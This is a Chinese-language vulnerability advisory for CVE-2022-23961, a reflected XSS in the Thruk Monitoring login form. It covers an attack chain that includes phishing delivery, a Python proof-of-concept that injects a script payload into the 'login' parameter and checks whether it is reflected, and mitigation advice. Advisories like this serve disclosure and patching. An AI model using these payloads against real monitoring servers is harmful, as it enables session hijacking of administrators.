CVE-2022-23961 Thruk Monitoring 反射型XSS漏洞

漏洞信息

漏洞编号

CVE-2022-23961

漏洞类型

XSS

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Thruk Monitoring

漏洞概述

Thruk Monitoring Web监控软件在2.46.3及之前的版本中存在安全漏洞。具体来说，登录表单中的登录字段未对用户输入进行充分的过滤和验证，导致存在反射型跨站脚本攻击（XSS）漏洞。未经身份验证的远程攻击者可以通过构造恶意链接诱导监控界面的用户点击，从而在受害者的浏览器中执行任意JavaScript代码，窃取Cookie或会话令牌，甚至进行进一步的恶意操作。该漏洞CVSS评分为6.1，属于中危级别。

技术细节

该漏洞属于反射型XSS（Reflected Cross-Site Scripting）。在Thruk Monitoring的登录处理逻辑中，当用户提交登录表单时，服务器会将输入的"login"参数的值直接返回到响应页面中，而没有进行适当的HTML实体编码或转义。攻击者可以构造包含恶意脚本Payload的URL（例如：`/thruk/cgi-bin/login.cgi?login=<script>alert(1)</script>`）。当未授权的攻击者诱导已登录或潜在的管理员用户点击此链接时，服务器会将该恶意脚本反射回浏览器执行。由于攻击载荷未经过滤，浏览器将其解析为可执行代码。攻击者利用此漏洞可以劫持用户会话、篡改网页内容或重定向到恶意站点，从而威胁监控系统的安全性。

攻击链分析

STEP 1

侦察

攻击者识别目标系统运行的是Thruk Monitoring Web监控面板。

STEP 2

构造Payload

攻击者构造包含恶意JavaScript代码的URL，将Payload插入到login参数中，例如：`?login=<script>evil()</script>`。

STEP 3

社会工程学投递

攻击者通过钓鱼邮件或即时通讯工具，将构造好的恶意链接发送给Thruk监控系统的管理员或用户。

STEP 4

触发漏洞

受害者点击链接，浏览器向服务器发送请求。服务器未过滤输入，直接将恶意脚本反射回HTTP响应页面。

STEP 5

执行攻击

受害者的浏览器解析响应并执行恶意脚本，导致Session ID被盗取或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (Example)
target_url = "http://target-thruk-server/thruk/cgi-bin/login.cgi"

# Malicious Payload to test XSS
xss_payload = '"><script>alert(document.cookie)</script>'

# Construct the attack vector (Reflected in login parameter)
params = {
    "login": xss_payload,
    "password": "test"
}

# Send request
try:
    response = requests.get(target_url, params=params, timeout=5)

    # Check if payload is reflected unescaped in the response
    if xss_payload in response.text:
        print("[+] Vulnerability Confirmed: Reflected XSS detected in login field.")
    else:
        print("[-] Vulnerability not detected or patched.")
except Exception as e:
    print(f"Error: {e}")

影响范围

Thruk Monitoring <= 2.46.3

防御指南

临时缓解措施

建议管理员立即检查Thruk Monitoring版本，并在升级前，对登录页面的输入参数实施严格的输入过滤和输出编码规则，以防止恶意脚本注入。